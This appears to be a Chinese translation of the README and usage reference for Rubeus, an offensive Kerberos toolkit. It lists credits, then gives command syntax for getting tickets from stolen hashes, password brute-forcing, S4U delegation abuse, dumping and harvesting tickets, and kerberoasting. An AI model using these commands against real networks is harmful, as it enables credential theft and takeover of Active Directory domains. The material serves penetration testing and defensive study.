Rubeus 是一个用于原始 Kerberos 交互与滥用的 C# 工具集。它大量改编自 Benjamin Delpy 的 Kekeo 项目(CC BY-NC-SA 4.0 许可证)以及 Vincent LE TOUX 的 MakeMeEnterpriseAdmin 项目(GPL v3.0 许可证)。全部功劳归于 Benjamin 和 Vincent,他们攻克了武器化过程中最困难的部分——没有他们先前的工作,本项目将无从谈起。
Charlie Clark 和 Ceri Coburn 都为 Rubeus 代码库做出了_重大_贡献。Elad Shamir 为基于资源的约束委派贡献了一些关键工作。非常感谢他们的付出!
Rubeus 还使用了 Thomas Pornin 编写的 C# ASN.1 解析/编码库 DDer,该库以“类 MIT”许可证发布。非常感谢 Thomas 提供简洁而稳定的代码!
PKINIT 代码大量改编自 @SteveSyfuhs 的 Bruce 工具。Bruce 让 RFC4556(PKINIT)变得容易理解得多。非常感谢 Steve!
用于 Kerberoasting 的 KerberosRequestorSecurityToken.GetRequest 方法由 @machosec 贡献给 PowerView(随后被整合进 Rubeus)。
@harmj0y 是本代码库的主要作者。
Rubeus 采用 BSD 3-Clause 许可证。
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
票据请求与续期:
基于用户密码/哈希获取 TGT,可选择保存到文件,或应用到当前登录会话或指定的 LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
基于用户密码/哈希获取 TGT,启动一个 /netonly 进程,并将票据应用到新进程/登录会话:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
使用 PCKS12 证书获取 TGT,启动一个 /netonly 进程,并将票据应用到新进程/登录会话:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
使用用户密钥库(智能卡)中的证书获取 TGT,指定证书指纹或主题,启动一个 /netonly 进程,并将票据应用到新进程/登录会话:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
为一个或多个 SPN 获取服务票据,可选择保存或应用该票据:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
续订 TGT,可选择应用该票据、保存该票据,或自动续订票据直至其续订上限:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
执行基于 Kerberos 的密码暴力破解攻击:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
约束委派滥用:
执行 S4U 约束委派滥用:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
跨域执行 S4U 约束委派滥用:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
票据管理:
提交 TGT,可选择指定特定的 LUID(需提升权限):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
从当前登录会话清除票据,可选择指定特定的 LUID(需提升权限):
Rubeus.exe purge [/luid:LOGINID]
解析并描述票据(服务票据或 TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
票据提取与收集:
对所有当前票据进行分诊(若已提权,则列出所有用户的票据),可选地指定特定的 LUID、用户名或服务:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
详细列出所有当前票据(若已提权,则列出所有用户的票据),可选地指定特定的 LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
导出所有当前票据数据(若已提权,则导出所有用户的票据),可选地指定特定的服务/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
通过滥用 Kerberos GSS-API 并伪造委派,在无需提权的情况下为当前用户获取可用的 TGT .kirbi(含会话密钥):
Rubeus.exe tgtdeleg [/target:SPN]
每隔 /interval 秒(默认 60)监控新的 TGT:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
每隔 /monitorinterval 秒(默认 60)监控新的 TGT、自动续订 TGT,并每隔 /displayinterval 秒(默认 1200)显示工作缓存:
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]
Roasting:
执行 Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]
执行 Kerberoasting,将哈希输出到文件:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
执行 Kerberoasting,以文件输出格式将哈希输出到控制台:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]